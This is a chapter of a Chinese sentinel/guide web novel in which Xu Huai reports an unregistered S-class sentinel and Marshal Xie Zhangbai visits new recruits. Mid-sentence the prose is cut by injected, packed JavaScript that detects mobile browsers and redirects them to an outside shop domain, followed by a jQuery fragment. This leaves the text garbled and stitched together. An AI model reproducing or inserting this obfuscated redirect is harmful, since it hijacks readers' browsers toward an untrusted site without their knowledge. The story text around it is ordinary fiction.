“S级?”陈懿周从显示屏前探出头看向对面的许淮,神色讶异,“你是说你们昨天在抓捕中遇到了一个S级哨兵?”
“嗯。”
“会不会是实验体?”
“技术不够。”许淮说。
“也是。”陈懿周点头。S级的觉醒者极度稀有,联邦百年间记录了四位已算是走了大运。
但如今……
陈懿周手指在键盘上快速敲击,“数据库中确实没有你说的拥有白头鹰精神体的S级哨兵的记载。”
“你遇到的那个多半是躲过了方尖塔的监察系统,没有在塔登记。”陈懿周倚在座椅中,眉头紧蹙,“反叛者里出了个S级,对联邦来说绝不是个好消息。我会启动复审程序对境内的觉醒者进行重新筛查,但估计很难有结果。不过,照近期反叛者活动频率看,说不准你们军方很快又会遇见他。”
许淮不置可否,起身准备离开,却被陈懿周叫住,“又急着去干什么?吃饭了?”
“总部开会。”
“……”要教训人不好好照顾身体的话半道噎住,只能改为小声的嘟嘟囔囔:“开会开会,那些人闲得蛋疼净知道开会。”
“开完记得吃饭,别仗着身体年轻不当回事儿,等老了有你好受的!”陈懿周对着许淮离开的背影苦口婆心地喊着。
许淮也不知听进去没有,随意摆了下手,径直离开。
重刑罪犯巴尔特被半道劫走,甚至抓走狱警将其凌迟致死,种种行为称一句公然挑衅联邦政府也不为过。
星网上炸开了锅,网民众说纷纭,有人发表内鬼言论,有人担忧公众安全,更有甚者对当局的实力提出了质疑。
今天召开的所谓总部会议实则就是当面追责,人是在押解队手上丢的,最后是在许淮眼皮子底下跑的。高层对着押解队负责人一顿输出,却在对上面无表情的许淮时又硬生生哑了火,谁也不想得罪这位实力、权利与名声齐飞的十二区掌权人。
不过他又实在不满此次行动的结果,只好将巴尔特的事全权移交给十二区,并责令许淮尽快追回,隐晦地借此来表达自己的不悦。
许淮从头到尾都未说什么,总之交代什么应什么,出会议室时已是下午四点。他打开静音许久的终端,发现谢元帅回复了他早上的消息,另附了一条——【我在去十二区的路上。】
许淮望着屏幕眨眨眼,难得的原地愣了一下,这个消息对于他来说确实有点突然。
“您怎么……”打了几个字又删除,最后改成:“好,我马上回去。”
【不急,注意安全。】
午后的阳光已不似正午那般炽热,偶有带有一丝凉意的风拂过,吹得人身心舒畅。
老周下午难得有空,背着手在军区里溜达。有人见他这副悠哉模样,故意凑过来讨嫌:“哟,老周,闲着呢?今天怎么没去看那帮新来小崽子了?”
“去去去。”老周冲他一阵摆手,跟挥闹人的蚊子似的,“好不容易有闲的空当,懒得管他们,闹心。”
说完,扭头就走。
但在经过前往训练场的岔道时,步子犹豫了一瞬,最终还是拐了进去。
C组今天被带出去出任务了,只有A、B两组在,这两组里闹心玩意儿太多,他终归是有点不放心,干脆还是去看一眼。
不知道该说老周是有先见之明还是说他倒霉催的,人刚走到新兵那块训练场边,就瞧见两个组的人正气势汹汹地拢在一块,剑拔弩张的气味一路飘过场地钻进了老周的鼻子里。老周一下子吹胡子瞪眼,骂道:“这群小兔崽子,又给老子惹事!”
老周三步并两步地冲进场地,但无奈个子没这群平均身高几近一米九的年轻小伙子小姑娘们高,只能在人群外围看到一只手高高扬起,狠狠落下,随后一声痛苦的抽气声传来。
“!!!”老周两眼一抹黑差点一口气没上来,三两下拨开人群,“让开,都围着干什么!”
中气十足的怒吼在人群里吼出了一条道,老周挤进人圈中央后就见烟岚盘腿坐在地上,一只手捂着额头,气若游丝地说:“我好像看见我亲爱的太奶了。”
其余几个教官在一旁笑得直不起来腰来。
眼前的情形和想象中的群殴状况截然不同,老周准备好的怒骂堵嗓子眼里半天没吐出来。
“诶,老周?”正对面的方缙尧率先看到了他。
烟岚闻声放下手,回头看向身后,额头一道通红的指印,不知是被打得头脑发晕了还是怎么,没头没尾地问了一句:“老周怎么来了,你也要玩吗?”
“???”
“哎哟,”方缙尧看着烟岚那傻帽样,于心不忍,好似刚才弹人脑瓜崩的不是他,“两个组闹着玩要比赛才凑一块,三局两胜,现在是一比一平。”
“……”老周嘴张开又闭上,忍了又忍还是没忍住问,“你们不是在打架?”
“纯栽赃啊,”黎晏就站在老周身旁,没个正形地将手臂搭在老周肩上,“您看我们是那样的人吗?”
其余人也扯着嗓子跟着喊,此起彼伏的声音在老周耳边来了个3D环绕:
“对啊,老周你怎么能这么想我们?”
“真是太太太太冤枉了。”
“被冤枉程度堪比窦娥呜呜呜。”
瞧瞧,几千年前大蓝星时代的古老元杂剧都知道,这种时候倒是聪明得很,老周简直要气笑了:“行了行了!这大老远看你们跟打群架一样聚一块儿,能不误会吗?”
老周看着他们就闹心,眸光下撇瞅见烟岚额头上顶着的红色天眼,乐了:“不是他们两组的事吗,怎么你一个总教还挨脑瓜崩了?”
“人……瘾大。”黎晏巧妙的某个字不发音。
烟岚一听就不干了:“说谁菜呢?黎晏我给你个重新组织语言的机会,不然我可就找将军告状了啊。”
“告什么状?”人群外忽然响起一道既陌生又熟悉的声音,陌生是因为他们从未和这道声音的主人对话过,而熟悉则是因为,这个音色曾出现在他们军校入学、毕业乃至进入军区服役后收到的来自军方元帅部的那些寄语里。
还是多见过几年风浪的老周率先反应过来,行了个标准的军礼:“谢元帅好。”
其他人纷纷反应过来,脸上也不笑了,姿态也不懒散了,一溜儿的站好齐声问好。
谢章白微微颔首回应,表情平和,笑着看人时眼角的几道细纹甚至会让人觉得亲近。但是当他的目光轻轻停留在某
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923722|213506||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个人身上时,那视线仿若能直看到人心底最深处的隐秘,让人本能地察觉到危险,四肢百骸都叫嚣着躲避。
不过也就一瞬间的事,谢章白很快就挪开视线,最终在黎晏身前停下脚步。
黎晏抬眼回望,目光不卑不亢。他见谢章白很温和地朝他笑了一下,拍了拍他肩膀,说:“黎家小儿子确实仪表堂堂,是个哨兵?”
“是。”
黎晏话音才落,就察觉到肩上搭着的手突然涌出大量的精神力,像极速生长的藤蔓瞬间将他牢牢缠住,带着当头而下的威压试图让他弯腰。
这是顶尖觉醒者操控精神力到极致的体现,高达A级的精神力虽被限制在一个很小的范围里,并未波及到周围,却还是让人感觉被一股无形的风推得连连后退。
黎晏站在风暴中心,面不改色,只是觉得一侧肩膀像被什么东西轻轻压着,但完全可以忽略不计。体内的精神力感知到威胁,逐渐躁动起来,张扬跋扈地反抗回去,甚至隐隐有压倒之势。
谢章白对此并未感到意外,笑着收回手,沉重压人的精神力霎时消散,空气仿佛都轻盈了不少。
“再跟你们将军多学学如何更好地控制精神力,他在这方面颇有心得。”
许淮回到军区根据下属的汇报寻到训练场时,谢章白正坐在休息区的椅子上撸起袖子和新兵掰手腕。
年轻人身强体壮一股蛮劲,在谢章白再三强调不要放水后,轮番上阵,无一败绩。
许淮朝他们走了过去,新兵再一次取得压倒性胜利,许淮开口叫人:“元帅。”
听到声音,谢章白回头,脸上的笑意肉眼可见的加深,“小淮回来了。”
许淮走近,“嗯”了一声。
老周打过招呼后,带着这群悄咪咪打量谢许二人的皮猴离开。谢章白边整理着袖子,边看着人离开的方向道:“今年收的这群孩子挺不错。”
许淮跟着看去,黎晏依旧走在末尾,正微低着头和烟岚说话。
“是有几个资质不错。”许淮声音停顿一瞬,敏锐地察觉到了什么,问道:“您刚刚和黎晏……”
“试了下他的精神力。”谢章白不欲多说,看向许淮的眸光似在打量,几秒后问:“是不是瘦了?”
话题跨度有一点大,许淮反应片刻,随后暗自叹了口气:“您每次见我都这么说。”
“是吗?”谢章白站起身,在许淮面前没有一点身为联邦元帅部首脑的威严,“那我每次见面都叫你尽快寻找行动搭档,怎么不见你往心里记?我让陈懿周给你介绍了那么多哨兵,所以你到底有没有钟意的?”
许淮这下是彻底无奈了,跟他讨饶:“叔叔。”
谢章白放声笑得开心,这些年他和许淮都忙,见面时间少,他已经算是收敛不少了。许淮小时候跟在他身边时经常被他各种逗弄打趣,有时候逗得狠了几天都不愿和他说话。
“好了,我就这一说。搭档实在不想找就不找了,我让你陈叔别忙活了。”
许淮没搭理他。
谢章白瞥他一眼,忍着笑装模作样地咳了一声,换上公事公办的语气,“不是有事要和我说?”
“嗯。”许淮这才愿意出声气,抬脚带人往办公楼走。